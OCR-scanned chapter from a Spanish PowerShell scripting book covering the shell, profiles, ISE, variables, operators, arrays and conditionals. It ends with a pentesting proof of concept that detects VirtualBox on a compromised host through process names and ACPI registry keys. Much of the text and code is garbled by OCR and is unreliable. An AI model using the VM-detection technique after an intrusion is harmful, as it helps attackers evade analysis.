Pg C:\Usersibit B3,082,2812 13:45:36 > Set-—futhenticodeSignature .\5p1~0cesug.psl *Ceg:;?gci;e Scert

Directorio: CiNUsersihit

Fig. 1.21: Firma del script.
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Capitulo 11
Scripting en PowerShell

1. Interactuando con la shell

En este apartado se estudia conceptos basicos de la interaccion con PowerShell. Ademas, se puede
conocer como personalizar el entorno para una mejor experiencia de usuario en el uso diario de la
linca de comandos.

Una de las primeras premisas de la interaccion con la linea de comandos de PowerShell es que
su conjunto de comandos es ampliable. Bsto no ocurre con la emd clasica, en la que para ampliar
¢l conjunto de comandos habia que desarrollar un programa aparte que seria ejecutado desde la
terminal, Los comandos binarios natives de PowerShell denominados emdlets pueden ser ampliados
agregindose como complementos. Los complementos en PoweirShell se compilan, como ocurre
con las herramientas binarias de otras interfaces o terminales. De este modo se podrian agregar
otros providers. Las funciones declaradas son otros comandos que pueden afadirse para ampliar el
conjunto de comandos de PowerShell, sin necesidad de compilar nada.

La linea de comandos controla la entrada y la presentacién en consola de los resultados. Cuando el
usuario escribe un comando, éste se procesa desde PowerShell. La consola aplica un formato por
defecto. el cual es personalizable, a los resultados que se mostrardn por pantalla. Esta funcionalidad
interna de PowerShell simplifica mucho el trabajo de los cindlets, ya que no se tienen que preocupar
por ¢l formato de salida.

PowerShell utiliza sintaxis del lenguaje C# y esto es algo importante a la hora de desarrollar seiiprs.
Las palabras clave y funciones de sintaxis son practicamente idénticas a las que los desarrolladores
pueden utilizar en C#. Esto es debido a la base de PowerShell que es NET Framewortk.

Hay un comando especial que permitira al usuario obtener mucha informacion sobre qué comandos
¥ de qué tipo son los que pueden ser ejecutados en la linea de comandos. El cmdlet Get-Command
proporciona 3 columnas con informacion sobre lo que el usuario puede ejecutar.

En la primera columna denominada CommandTipe se indica el tipo del comando, por gjemplo un
;md!e!. un alias o una funcion. En la segunda columna se indica el nombre para poder invocarlo. En
dlercera columna se muestra la definicion del comando, es decir, la descripeion de como lanzarlo.
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PS C:\Usersi\pable> Get—Command

N Definition
> ForEach-Object

2 Where—0Object

f: Set—Location A:

Add—Content

fAdd—Computer [—DomainName]l
Rdd—Content [—Pathl <{String
Add—History [[=InputObject]

ac
Add—Computer
Add—-Content
fAdd-History

Fig. 2.01: Listado de informacidn de Get-Command.

Personalizacion del entorno

Cuando un usuario trabaja diariamente con la linea de comandos de PowerShell es de vital
importancia tener un entorno con el que el usuario se encuentre comodo trabajando. Disponer de
los alias ya cargados, los cmdlets importados o las funciones personalizadas declaradas en un perfil
es algo que puede ayudar a mejorar la experiencia de trabajo con PoweiShell. En este apartado se
trabajara la modificacion del entorno de la linea de comandos de PowerShell y cdmo hacer que estos
cambios o personalizaciones sean persistentes.

Modificacion del entorno

La modificacién basica del entorno esta determinada por opciones de configuracion, ya sea visual
como de gestion. Para poder modificar estas opciones se puede hacer clic en la esquina superior
izquierda de la consola, dénde se puede ver el icono de PowerShell, y aparecerd un meni contextual
dénde se debe elegir la opeidn “Propiedades .

Upciones LFuente ] Disefio I Colo?_s‘

Tamafo del cursor
© Pequerio
1 Media

Grande

Historial de comandos

Tamano del bifer: EEI =

Opciones de edicidn

[V] Madalidad de edicion @pida

Mimero de biferes: 4 - [] Madalidad de insarcidn

[ | Descartar duplicades antiguos

e J
Aceptar H_Cancelar ]

—— I |

Fig. 2.02: Propiedades para la personalizacicn del entorno de PowerShell.

s |

En la pestafia opciones se puede elegir el tamario del cursor, pequefio, mediano y grande, el historial
de comandos, definiendo su tamafio de biifer, por defecto en 50 y opeiones de edicién, para distintas
modalidades. En la pestana fuente se puede personalizar la fuente para la linea de comandos y el
jamafio de ésta. En la pestaia de diseno se pucde personalizar el tamafio del bufer de pantalla, es
Jecir. el nimero de lineas que se almacenarén a lo alto de la pantalla, con el seroll, y el nimero de
caracteres que se mostrardn en cada linea, a lo ancho de la pantalla.
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por otro lado, también es personalizable el tamafio de la ventana, anchura por altura. La posicidn de
la ventana también se puede elegir indicando, aunque por defecto es el sistema operativo quien la
ubica. En la pestafia de color se puede personalizar el color del texto en pantalla, el color del fondo
de pantalla, el texto de las ventanas emergentes y el fondo de dichas ventanas.

" Tasto de la pantalla

Texto de ventanas emergentes

Fondo de ventanas emargentes

EREEEN | .

Colores de pantalla seleccionados

C:\WINDOWS> dir
SYSTEM <DIR> 18-81-99
SYSTEM32 <DIR> 19-601-99

DoNADME TYT DEONE AfR_R4 a0

Colores seleccionados para vertanas emergentes

C:A\UWINDOUS> dir
SYSTEM <{DIR> 18-91-99
SYSTEM3Z <DiR> 1A-61-99

DTATME YT Qe AR_[R4 aa

Aceptar || Cancelar J

Fig. 2.03: Personalizacion de eolores en Powershell.

Para que e '
P‘ ra que los cambios realizados en el entorno sean permanentes se debe abrir la consela de
ower s i SR - r . i :
) tldY!JL 1l como administrador de 1a maquina. Esto es algo que se debe tener en cuenta, ya que si
ada vez que el usuario ejecute la consola no se almacenardn los cambios.



Perfiles

;Qué es un perfil en PowerShell? El perfil son yarios archivos que indican la configuracion y
personalizacion con la que la linea de comandos debe arrancar. En PowerShell se puede diferenciar
entre la shell de sistema y otras shell cargadas con moédulos de otros productos. En un sistema
Windews 7 se tiene por defecto una PowerShell por defecto, y para gestionar Microsoft Exchange se
tiene otra shell personalizada para el tratamiento de dicho producto. Existen 4 perfiles, jerarquizados
por 2 tipos, en PowerShell especificados en la siguiente tabla.
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Tipo Ruta Descripcion

Es un perfil para todos los escenarios donde
se ejecuta PowerShell, ya sea shell de
sistema o shell de otros productos

Senv:userprofile\Mis documentos\

Usuario Windows PowerShell\profile.ps1

Senv:userprofile\Mis -
. Es un perfil para sélo el entorno
Documentos\Windows uip p

Usuario PowerShell Microsoft PowerShell mstaladg por defecto, la shell
5 del sistema

PowerShell_profile.ps]

Senvowindirlsystem32\ Wineows Perfil para todos los escenarios, y para

b PowerShellivi.O\profile.ps1 todos los usuarios de la maquina
Senviwindirlsystem32\Windows | Perfil para el entorno PowerShell instalado
Maquina PowerShell\v].0\ Microsofi, por defecto. que se aplica a todos los

PowerShell profile.psi usuarios

Tubla 2.01: Tipos de perfiles v rtias en Powershell

En arquitecturas de 64 bit la ruta de los perfiles de magquina es la misma, salvo que en vez de ser la
carpeta System32 es la denominada Syswow64. El flujo de ejecucion de los perfiles al arrancar una
linea de comandos de PowerShell lleva un orden, el cual se puede visualizar a continuacion:

1. Semvowindirisystem32\Windows PowerShell\vl.0\profile.psi

2. Senvowindirsystem32\WindowsPowerShellivi.0} Microsoft. PowerShell_profile.ps]

3. Semv:userprofile\Mis documentos\Windows PowerShell\profile.psi

4. Senv:userprofile\MisDocumentos\WindowsPowerShell\ Microsoft. PowerShell_profile.ps!

Si en el archivo profile.ps] de méquina existe la instruccion Ser-Alias —Name procesos —Value Get-
Process y existe en el archivo profile.ps | de usuario la instruccion Set-Alias —Name procesos —Value
-Ger-Service, prevalece la Gltima cargada por PowerShell.

Los perfiles no vienen creados por defecto, por lo que el usuario debera crearlos a través de
PowerShell o creando 2 mano un archivo de tipo .ps/. Se puede utilizar la variable de entorno
$PROFILE para indicar cual es la ruta de creacion del perfil de tipo usuario, Para crear perfiles de
méquina se debe arrancar la linea de comandos como administrador.
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£| fichero con el perfil no es mas que una serie de instrucciones de linea de comandos, muy similar a
los perfiles en otras shell. Un ejemplo seria el siguiente codigo que se puede visualizar a continuacion.
prgﬁle.psl

srea para alias y wariables

set-allas precesos -value geét-process

sysuario = $enviusername

sirea para definicioén de funeiones

functien hora {get-date}

function prompt [‘BS Y + § (get-location) + > Y+ §(date) +" > "}

¢mensaje de pienvenida al ejscutar la shesll
Suser = {System.securj_ty.principal.Windowsidentity] iGetCurrent ()
write-hast Hola S (Suser.name) , bienvenido a PowerShell

2. Entorno de Scripting: PowerShell ISE

PowerShell ISE es un entorno grafico que permite realizar desarrollo de scripis. Presenta un debugger
con el que se facilita la manera de trabajar con PowerShell y la automatizacion de tareas. Esle
entorno se encuentra disponible desde la version 2.0 de PowerShell, y se puede encontrar instalada
por defecto desde los sistemas Windows 7'y Windows Server 2008 RZ2.

La ruta donde se encuentra es la misma que dénde se aloja PowerShell, C:\Windows\system32,
WindowsPowerShell\v[.0). Para acceder a este entorno:

- Se puede acceder a Inicio > Accesorios > Windows PowerShell > Windows PowerShell
ISE.

- Escribiendo directamente en la caja de bisqueda, es decir, en Inicio = PowerShell ISE.

PowerShell ISE proporciona al usuario 3 dreas diferenciadas de trabajo integradas en una (inica
ventana. El desarrollador tiene un control completo sobre lo que ocurre, ademas de disponer de la
ayuda necesarias sobre todos los cmdlets que pueden ser gjecutados.

stited pa] X

Fig. 2.04: Powershell ISE .
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El 4rea superior, por defecto, corresponde con un editor de texto en el cual se escribiran los seripr.
Ademas, mediante el intuitive modelo de pestafias, famoso en los navegadores, se dispone de la
posibilidad de trabajar con distintos scripr a la vez.

El area de la parte inferior se corresponde con la salida por pantalla de las ejecuciones. Ademas,
el usuario puede ir probando comandos sobre esta consola, aprovechando los valores de ciertas
variables en un momento dado. Esta consola es de gran utilidad, aunque los cambios que se realicen
en los providers, como por ejemplo en el provider del sistema de archivos, se harén en realidad en
el sistema.

En la parte derecha de PowerShell ISE se puede encontrar la ayuda de los emdleis agrupados por
madulos de trabajo. Los médulos de trabajo indican distintas herramientas o productos de Microsofi
que se tienen en el sistema. De esta manera es muy sencillo saber que cmdlets se pueden ejecutar y
obtener una ayuda rapida. Esta funcionalidad se afiadi6 en la version 3.0 de PowerShell.

El concepto de ficha en PowerShell viene determinado por un entorno personalizado con sus
variables, alias, funciones, y totalmente aislado del resto de fichas. Cuando un usuario dispone de
una ficha en PowerShell ISE dénde se dispone de ciertas variables en un estado concreto, cuando
comienza a trabajar con otra ficha desde ésta no se ven las variables de la anterior. Se puede entender
el concepto de ficha como una definicién equivalente a los dmbitos en un lenguaje de programacion.
Para crear una nueva ficha se puede utilizar un atajo como es CTRL + T en PowerShell ISE.

LPowerSheHl PowerShell4 X

| Sintitulodpsl X | &)
Th o ) '

PS C:\Users\bit> )

Lin.1 Col.1 | — 12

Fig. 2.03: Fichas en Powershell ISE.

Las fichas locales son entornos que se estan ejecutando sobre la misma maquina loca) y las fichas
remotas son entornos que son ejecutados en otras maquinas pero su presentacion visual se disponé
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dande el usuario se encuentra. Para crear una ficha remota archivo > nueva ficha de PowerShell en
remoto o la combinacion CTRL + Mayis + R. Se pediran credenciales para obtener el control de una
cesion en el entorno remoto a traves de PowerShell.

La ejecucion de los seripts y la depuracion de éstos es algo muy importante y valioso. Histéricamente,
en un entorno de seripting no se podia debuggear todo lo bien que se necesita, pero esto no ocurre
con PowerShell ISE. La ejecucién de los scripts se produce en una ficha de manera controlada,
llevandose a cabo de manera completa o linea a linea, incluso instruccion a instruccidn, va que
pueden existir lineas con varias instrucciones concatenadas. En la parte superior del entorno de
debugging se encuentra un icono de play. el cual permite que el usuario lance el seript que se
encuentre activo en la ventana.

Archivo  Editar  Ver Depurar  Ayuda
oS =B>» ¢ gl e & BT0

|ginu'tulol.p51* | Sprocesospst X | jEjecutarscrip't (F5). "
s-Get-Process

sort -Descending id : Select-0Object -Last 3

Fig. 2.06: Ejecucion de un script con Powershel! ISE.

Una opcion interesante es marcar la linea o conjunto de lineas que se quieren ejecutar y pulsar sobre
¢l atajo de teclado F8, o bien pulsar sobre el boton piay junto al icono del archivo. Tal y como puede
visualizarse en la imagen este método es valioso para ejecutar parte de lo que le interese al usuario.

Archivo Editar Ver Depurar Ayuda

Nedée0r 9

P> w B [Foo

‘ Ejecutar seleccion [FS}}

Sin titulol.ps1* | Sprocesos.psl X ‘

Bprocesos-Get-Process
write-host powershell
Sprocesos

sort -Descending 1d Select-Object -Last 5

Fig. 2107: Ejecucion seleciiva de lineas o instrucciones en Powershell ISE.

También puede ser interesante gjecutar solo una instruccién y no la linea completa, por lo que se

deberia seleccionar la instruccion hasta antes del pipe, en el caso de ser una linea concatenada de
comandos.

f?:snt;gng:?‘tu tmt_x_v )imel‘esante que debe.utiii@r el desan"ol!ador son los bfl'em’cpu.im. Un breakpoint
bty Dutéll a es ur;a pérad?. de la ejecucion de un cédigo d’e manera 111tencl101l1ada en un lugar
charroll;adorpa : en ?o ocar varios breakpoints a lo largo del cddigo, con el objetivo de ayudar al

; cpurar su codigo. PowerShell ISE presenta este concepto, de manera sencilla e

intuitiva, En el meng ' imi !
” da_ EI? el meni depurar se puede colocar, listar y eliminar los diferentes puntos de ruptura que
Pueden situar a |o largo del cddigo.
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Cuando el usnario quiera mostrar el valor que se encuentra almacenado en la variable se puede

dtilizar el emdlet Write-Output, €l alias echo o directamente indicando la variable en la linea de
comandos precedida del caracter $.

Depurar. | Ayuda

pracedin

Nayis <L Otro tipo de variables son las predefinidas y son aquellas que contienen informacién sobre el entorno
Jde PowerShell que se encuentra en ejecucion. Estas variables son de mucha utilidad cuando se estan

Ejecutar o continuar F5 escribiendo seripls.

Detener depurador para visualizar las distintas variables predefinidas del entorno de PowerShell se puede utilizar la
instruccion Is variable: Hay que recordar que las variables se encuentran en un proveedor o almacén

i pAuiEOs Wi & 4l cual se puede acceder de manera sencilla y realizar un tratamiento de sus elementos.

Quitar todos los puntos de interrupcion Ctrl+Mayts+FS

Habifitar todos los puntas de interrupcion Varlables necesarias en el desarrollo

Dieshaliltar tados los puntas e ntempESn £ proveedor de variables contiene todas las variables predefinidas y variables creadas por el usuario
Existen variables predefinidas muy interesantes para el desarrollo de scripsing, proporcicnando al

Maostrar puntos de interrupcion ‘ Ctrl+Mayis+L desarrollador flexibilidad, informacion y gestion de errores a sus SCrIpES.

IWostrar pila de llamadas Cirle Wmyis+ T A continuacion sc presentan diversas variables predefinidas y que son necesarias para el desarrollo

de seripts en PowerShell. El niimero de argumentos que se pasa a una funcion o al seripr en general

7 0 . . . . > = 9
si la ultima instruccion se ejecuto correctamente o no o el nimero de proceso que identifica el
proceso de PowerShell son algunas de las variables que se pueden encontrar.

Fig. 2.08: Puntos de ruptura o breakpaint en Powershell ISE.

Con esta breve descripeion el usuario puede hacerse a la idea de lo importante que puede resultar el
uso de este tipo de variables.

3. Variables

Las variables son porciones de memoria que almacenan informacion que puede variar con el tiempo.

_ " Variable ‘ipeid
En PowerShell no necesitan ser declaradas previamente para poder utilizarlas, por lo que es muy Disseripeion
sencillo erear y dar valor a una variable. Lo imico que se debe tener en cuenta es que ?e 1llene c.lue.dar Bt Esta variable contiene una lista con los argumentos pasados a una funcion o
un nombre a la variable precedida del signo $, y posteriormente utilizar el operador ‘=" para indicar a un seript en su gjecucién
que se asignard el valor indicado a la derecha del operador. § Esta variable indica si la Gltima instruceion se ejecutd carrectamente o no
Las variables pueden venir precedidas por un tipo de dato y de esta Torma forzar a que el contenido gA Esta variable indica el primer miecmbro del tltimo comando tecleado en la
sea de un tipo. A continuacion se muesira un gjemplo donde se crea una variable y se le asigna uf linea de comandos
valor Svariable = "say un exto £$ Esta variable indica el ltimo miembro del dltimo comando tecleado en la
. & linea de comandos
. . : - o [ iable = 11). Este definiciot -
i i e con tino de datos explicito seria [int] Svar iable = 10, Este tipo de = e . 3
Otro ejemplo de \:arlale p P i de I sesda nor teslade Puedt Emiinar Esta variable registra los errores producidos durantc la ejecucion de Ia
puede resultar muy util para controlar los tipos que se recogen de la entrada p it fe = Sl S
ser interesante forzar al usuario a introducir un numero por teclado, por gjemplo en la interacc " = - —
alnirinninpiiy e i $ErrorView sta variable indica el f(n.'malo en el que se mostraran los errores
- __—T_ registrados en $Error
) ) i : i ués : :

Las variables almacenan objetos y despucs pueden ser tratada:% como tal, por lo que S-l desp o] »—.____i‘i"ﬁ’__ Variable que almacena la ruta del directorio de inicio del usuario
creacién y asignacién de la variable se requiere utilizar los métodos se puede utilizar el operd T Variabl - PR

; e , s : T der a los distintos mét ariable que contiene el identificador del proceso de PowerShell
para invocar a los métodos. En el siguiente ejemplo se ilustra cémo accede
$variable. GetTvpe(). Tabla 2.02: Ejemplos de variables predefinidas.
EEE sHN
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4.0Operadores

Los operadores son fundamentales para un gran tipo de operaciones. Las operaciones aritméticas,
de comparacion, logicas, etedtera, estan presentes en cualquier seript que se tenga que desarrollar,
PowerShell aporta un gran nimero de operadores, los cuales se estudiaran en este apartado clasificado

por categorias.

Operadores aritméticos

Los operadores aritméticos son los tipicos que se pueden encontrar ci cualquier lenguaje de
programacion. Permiten realizar operaciones matematicas sobre las variables. En la siguiente tabla
se pueden encontrar los distintos operadores disponibles en la linea de comandos de PowerShell.

Operador Descripcion
-+ Adicidn/Suma
- Sustraccion/Resta
Multiplicacion
Division
% Modulo/Resto

Tubla 2.03: Operadores aritméticos.

A continuacion se muestra un codigo sencillo que refleja el uso de un switch, que €s una estructurs
condicional, con el que en funcién del operador indicado se realiza una operacion u otra. El codigo
presentado implementa una calculadora basica. cuyo seript recibe 3 argumentos. El primero de los
argumentos es el operando 1, el segundo es el operador y ¢l tercero el operando 2. En funcién del
valor del argumento 2 se realiza una operacion u otra.

switch
- Shpgs (21 3 break!
sargs[2] - break)
* sirgs|2] ; break)

ax}
; break]
incorreste” ; break)

“Operador

Operadores de comparacion

La comparacién entre operandos es algo comun en e
caminos que se puede tomar en un cédigo en un instante con
de valores, por ejemplo cadenas de texto 0 nimeroes.

| desarrollo de scriprs, gestionando distint®
creto. Se puede comparar distintos tipd

A continuacién se puede ver los distintos operadores que la linea de comandos de Power

proporciona al usuario.
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Operador Descripeién
-ne Compara si los valores no son iguales
-eq Compara si los valores son iguales
-gt Compara si un valor es estrictamente mayor que el otro
-ge Compara si un valor es mayor o igual que el otro
-ff Compara si un valor es menor que el otro
-le Compara si un valor es menor o igual que el otro

Tabla 2.04: Operadores de comparacion.

El s.iguiente codigo muestra do.s arggmentns que son pasados a un script y se realiza una comparacion
de igualdad para comprobar si son iguales. En el caso de ser iguales se ejecuta una o un bloque de
instrucciones, mientras que si no son iguales se ejecuta otro bloque de instrucciones

J

Otros comparadores que pueden ser utilizados son los genéricos y de expresiones regulares, El
pardmetro maich permite ejecutar expresiones regulares, las cuales son realmente ﬂti]e; en [61.]18‘1
web, por ejemplo. La siguiente instruccién ‘Hacking '—match "hfa-z]" devolvera (rue en el valor (I;‘
la comparacion o el matching. -

Los ‘opcradores de comparacion genéricos permiten comparar cadenas de lexto con una expresion
renérica. Existen 2 parametros like e, Bl pri a ¢ i ad

t«\ i parametros .hi\c y nurin’w.. El primero es para comprobar la igualdad de la
comparacion y el segundo la desigualdad. Un ejemplo es pablo "—fike ‘pab™’. El gjemplo devuelve
frue en la comparacion. ‘

Operadores logicos

Los operadores ldmisas . =
operadores ogicos son elementos fundamentales en el desarrollo debido a que permiten
concateny undizar o, 1Ci i
- h.imlr o profundizar en ciertas condiciones y comparaciones. A continuacion se presenta una
acon los operadores 16gicos que i .
i o0s operadores logicos que pueden serencontrados en la linea de comandos de PowerShell

Operador Deseripcion
~and Y Légico
-or O Légico
-not No Logico
! No Logico
-xor O Exclusivo

Tubla 2.03: Operadores logicos.
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El siguiente codigo muestra un ejemplo sencillo en el que para poder ejecutar un bloque de
instrucciones se puede dar una de las dos condiciones o ambas. Para indicar esto se juntan las dos
condiciones con el operador OR. Gracias a este operador con que ocurra una de las cosas valdria
para ejecutar el bloque de instrucciones.

if (( Sargs.Count -eg 1 ) —or | Sargs.Count —eg 3 ))

{

echo “Numere de pardmetros correctos”

}

else

i
echo “./compararlLoglee.psl <argumentol> [ zarg2y <arg3> 17
exit

Operadores de tipo

Este operador permite verificar si una variable es de un tipo o no. Puede ser interesante verificar si
una variable es de un tipo antes de asignar un variable. El operador evaliia la variable es de un tipo
indicando true o false. Se dispone del pardmetro is ¢ isnot para verificar el tipo.

1f { SRrge[0] -is [int] )
{
Smivar = SArgs[Q
gcho “Entersg”
t
elae

Operadores de intervalo
Este tipo de aperador permite representar los valores que hay entre un valor inicial y otro valor final,
Se representa con 2 puntos “..". Un gjemplo de operador de intervalo es el que puede verse en ¢l
siguiente codigo.

Svalorini = 2
Svalorft = 11
SvalorIni .. SvalorFinal

5. Arrays y hash tables

Un array es una coleccion de elementos. Tradicionalmente, los arrays han sido definidos como und.
coleccion de elementos homogéneos, pero en PowerShell no tiene porqué ser asi. Se pueden definif’
arrays con elementos de distintos tipos.

Los arrays también son conocidos como tablas en PowerShell.
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Las dimensiones de los arrays

Las dimensiones en un array indican el espacio donde se pueden colocar y referenciar los elementos
En otras palabras, la dimension se especifica a la hora de la declaracién del array. La djmensjéﬁ
puede ser un valor N, la cual serd representada mediante el uso de corchetes. Los indices de un array
empiezan por 0, como ocurre en lenguajes como C, y no por 1. '

Hay distintas maneras de declarar un array, en una se necesita especificar la dimension el array
y en otra basta con declarar una variable y asignar valores de un tipo. Por otro lado si se requiefe
especificar un array de varias dimensiones se debe especificar el nimero de dimensiones mediante
¢] uso de corchetes. A continuacion se muestra codigo de ejemplo que sirve para declarar y utilizar
arrays.

(int[]]$miArray = 22,12,1988

Array? = 1983,1986,1987

[1[1]$miArray3 = @((14,22,2008), (1,2,3))

yltiTipo = [int]1, [double]9.5

Smi

Tratamiento de datos

Insertar elementos en un array es uno de los pasos importantes en el uso de este tipo de estructuras
de datos. En PowerShell se puede insertar elementos dentro de un array de manera sencilla, y
similar a otros lenguajes de programacion. El uso del operador “+=’ permite afiadir un elemento a un

urra_l'jct;zmlo éste tiene una dimension. Como ejemplo se presenta la siguiente instruccion Smidiray
" j

Cuando se dispone de un arrgy con varias dimensiones hay que indicar a que fila se quiere afadir el
clemento. Como gjemplo se presenta la siguiente instruccion Smidrray3f0] += @((2012)). También
s¢ puede requerir en un momento dado la insercion de una nueva fila para cll\(;)se debe .utilizar el
operador “+=" como si se anadiese un elemento sobre una fila ya existente,

SmiArrayd += @((15,9,2009) )
Smiarray3

Para |
eer los valore ;
s de un arrqy se debe especifice i T -
: : ar mediz

S quieren recuperar, P ante corchete la posicidn o posiciones que

Smiarray
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0
1
Smiarray[0]
8}

gmiarray[D..5miazray.Length]

2

e

40 L

miarray3[(0][2]
7008

[Ee

Leer la informacion de un array s importante, sobre todo si éste tiene v:arias dimensur)nes:. El primer
corchete es la fila, mientas que el segundo es la columna. Cuando se disponern dg mas dimensiones
se van anexando los corchetes con el fin de referenciar al resto de valores. Como ejemplo se propone
una variable $array con 2 dimensiones. Al inicializar el array se crearon 2 filas con 3 elef'nentos, ‘
por lo que para referenciarlas se utiliza en el corchete los valores 0y .1' POI'"OII;? lad}o, el corchedte |
que representa la columna puede tomar los valores 0,1 y.2. Para la modlﬁcacx(_)n e Va‘ores se puede
utilizar el método SerValue o directamente como sc realiza en algunos lenguajes de programacion.

sarray[0] = 2000
22,14,2014
.BetValus (10, 0)

10
14
2014

Si se quiere llevar a cabo la eliminacién de un elemento de un array se pucd'e utilizar la opcidn
de sobrescribir dicha variable o elemento. PowerShell no dispone de un método para{el;rrjrn;ar

1 \ D Aoy = $ A ey g
clementos. A continuacién se muestra un ejemplo para llevar a cabo esto $4rray = $Array[0..2 +4]

Tablas hash

Las tablas hash o tablas asociativas también estan disponibles como estrur:‘mra _de datoi en
PowerShell. Las tablas hash se diferencian de los array en que los valores se referencian mEdldl‘I}C
una clave en lugar de un indice. Se debe tener en cuenta que como ocurre ’c0}1 los 'm'r‘a'\: el usuar’l‘:
puede utilizar tipos de datos heterogéncos. A continuacion se muestra un codigo donde se (:reacl.:“l
variable de tipo hash y se inicializa con valores con el forme_lto clave, valor.. Hay que tener en cu
que si el ash o clave dispone de espacios hay que referenciarlo entre comillas simples.

= 22; hash? = 1986]

StablaHash = E{hashl
$tablaHash
Name Value

nashz 1986
hashl 2z
StablaHash( ‘hashl’]

22
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6.Los cmdlet de salida

La redireccion a ficheros y a otros elementos es algo importante en el scripting. La linea de comandos
Je PowerShell proporciona al usuario la via para controlar la salida de datos. Los ¢mdflets encargados
Je controlar la salida de datos transforman éstos en algiin tipo de texto.

Los cudiets comienzan por el verbo Out y después del guion el nombre hacia dénde envian la
informacién. El primer cmdlet que se explica es el de Qui-Host, el cual envia datos hacia fuera de
powerShell. En el siguiente ejemplo se muestra un listado de servicios que son tratados por Our-
Host. Con ¢l parimetro —paging, el propio cmedlet va a paginar la informacion para que sea comoda
su lectura.
[PS C:NUsers\pahlo?> Get—Service | Out—Host —FPaging
DisplayName

fAeLookupSvuc Experiencia con aplicaciones

ALG Servicio de puerta de enlace de niv.
Identidad de aplicacidn

ApplDSvuc

fAppinfo Informacidn de la aplicacién

AppMgnt fidninistracidn de aplicaciones
aspnet_state ASP.NET State Service
AudioEndpointBu... Compilador de extremo de audio de W..._
AudioSrv Audio de Windows

pp AxAutofntSry Alcohol Uirtual Drive Auto-mount Se...
ESPACIO> pagina siguiente; <{BETORNO> linea siguiente; Q saliwn

Fig. 2.09: Paginacion de salidacon el cmdlet Oui-Tost.

L emedler Out-Nudl tiene un comportamiento similar a /dev/null. el cual en sistemas Linwx representan
a un periférico nulo. Este emdlet no evita que los mensajes de error se muestren por pantalla. Este
emdlet se ha disefiado con el fin de descargar cualquier entrada que se reciba, por lo que si se gjectita
la instruccion Gei-Process | Out-Null, no se mostrara nada por pantalla.

El emdlet Out-Printer permite al usuario utilizar la impresora predeterminada. Se puede utilizar otro
tipo de impresora especificando el nombre de ésta. Un ejemplo de ejecucion seria Get-Process | Oil-
Printer -Name *Microsoft Office Document Iimage Writer”.

El emdiet Our-File permite enviar el resultado de la ejecucion de los comandos a un archivo. Por
ejemplo, se puede ejecutar la siguiente instruccion Ger-Process | Our-File —FilePath <ruta del
archivo>, Es conveniente utilizar los cmdlets Formal-* para preparar la salida como mas interese al
usuario. Ademads. otra de las cosas a tener en cuenta es que Qui-File crea un archive con encoding
de _["'uic'ude. Con el pardmetro —Encoding se puede modificar este comportamiento por defecto
indicando ¢l encoding en el que se quicre el fichero resultante.

7.Condicionales

Los condicionale

funci s permiten bifurcar la ejecucion del seripr en funcion de unas condiciones. En
uncion de |

as comentadas condiciones el seript puede tomar un camino u otro en su jecucian,
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dependiendo de si una o varias condiciones son ciertas 0 no. Las €
para el desarrollo de scripfs. y en general de cualquier lenguaje de programacion.

structuras condiciones son la base

La sentencia If
La sintaxis de la sentencia if'es realmente sencilla y muy intuitiva, ya que por lo general es similar en
todos los lenguajes de programacion, y ademas, es similar a como actua el ser humano ante ciertas
circunstancias. A continuacién se muestra un pequefio ejemplo en pseudocodigo.
Si condicion

Bloque de instrucciones A
Si No

Blogue de instrucciones B
Fin Si

Para entender mejor el funcionamiento del condicional se presenta el siguiente ejemplo donde un
usuario pide a otro que introduzea un 0 o 1. Si el usuario introduce un 1 habré acertado el valor que

¢l otro usuario habia pensado.

Write-Host Introduce un walor entre 0wy 1
Sopoion = Read-HosT
If (($opcicn —ne 1) -and (Sopcion —ne 0))
tirita-Host ¥¢ has dntroducide un valol eritre 0 g 1
Exit
(Sopcion —eq 1)
Write-Hest Has adivin el numere
Elaa
#rilta-Hosk No Has adivinado el aumera

El condicional de seleccién: Switch
El condicional de seleccién swirch optimiza la implementacion de la estructura if en alguns
escenarios. Esta sentencia es sencilla y muy flexible que permite agrupar varios bloques &
instrucciones bajo una expresion concreia y sencilla.

La sintaxis que presenta swifch es intuitiva y facil de recordar como se puede visualizar €n

siguiente ejemplo en pseudocodigo. traduciendo switch a ‘en caso de .

En caso de variable

Valorl Blogue Instrucciones [

¥
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Valor2 Blogue Instruceiones 2

ValorN Blogue Instrucciones N
Defecto Blogue Instruceiones Defecto
Fin En caso de

A continuacion se propone un ejemplo basico de creacion de un ment para un seripf. Este mend
mostrara las posibilidades que el usuario puede ejecutar en el script y solicitard a éste que introdu

una opeion. Cuando el usuario introduce una opcidn concreta, el condicional switch e-‘ec1,1ta1raiZCEl
bloque de instrucciones en funcién de la opcion elegida. . i .

- Meni

w1}

w2y
way

Iigtar divegtogrip ¥

ar la hora™
Salir”
la

“Iatrodute

Rezad-Host

opeidn:”

o

y (Sopeien)

alk)

PoC: CheckVBox

;n algunas ocgsiones el pentester, tras realizar la intrusion, se encuentra en una maquina virtual

(;::::‘L,:I:(;,LE ;:;tf:t:s:e)u;;i t;n}efr}lc.) (’:Oﬁt’rglaco:lon por E”(.) ,en f"e/lefﬁ‘ls‘p-/()f! existe un modulo denominado

il Slca';/ﬁl,”:y;,.(. V; eterpn e-fe; rl.l'ldl?a si Ea sesion se estd ejecutando en alglin tipo de maguina
s e, Virtual Box, Virtual PC, Hyper-V, OEnu, etcétera.

En esta prueba de ¢ .

“nes 1e one e . .

il ch:)m bd]de concepto se va a implementar una parte de dicho scripr con el objetivo de identificar

3 0 T LT I, i )

i 0 al que accedio el pentester es una maquina virtual. En este caso se va a evaluar si el
0 perlenece a una maquina virtual corriendo en Firtual Box.

A continuacion s str ion i
1 se muestra la funcion implementada. en ella se puede ver diferentes tormas, que hay

que evaluar, para d : ;
5 & etectar si el sistema ati setd s vt e .
Virtual Boy. operativo estd siendo ejecutado en una maquina virtual de

funcs
t unction checkvbox
: 3%
5fal
; Get-Process | if
; if
1£MQI(J.EqUa15(“VbD?

Skey - ¢

Svbox - a
‘ { {8 _.n -
__.name.TolLower () .Equals (“vkoxservice”)) g
s = 2R —@ri(s .Jmame.
tray”}) ) {$vbox Strue} } AR, S

Get=Chil . -
t=ChildItem -Path YHELM: \HARDWARENACPI\DSDT’
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KN

if (Skey.Name.EndsWith (“VBOX "))

Skey = Get-Chilaltem -Path ‘HKILM : \HARDWARENACPT \FADT”

if (Skey.Name JEndsWith (“vBOox "))

Lrue

£y

Syhox =
}
$key = Ger-ChildItem -Path VEKLM: \HARDWARE\ACPT\RSDT'

LE (Skey.Name.EndSWith{“VBOXg}”))

|
Skey = Get-ChildItem -Path ‘HKLM:\HARDWARE\DEVICEMAP\Scsi\SCSi Part 0ONScsi Bus
raet

Id 0f
e

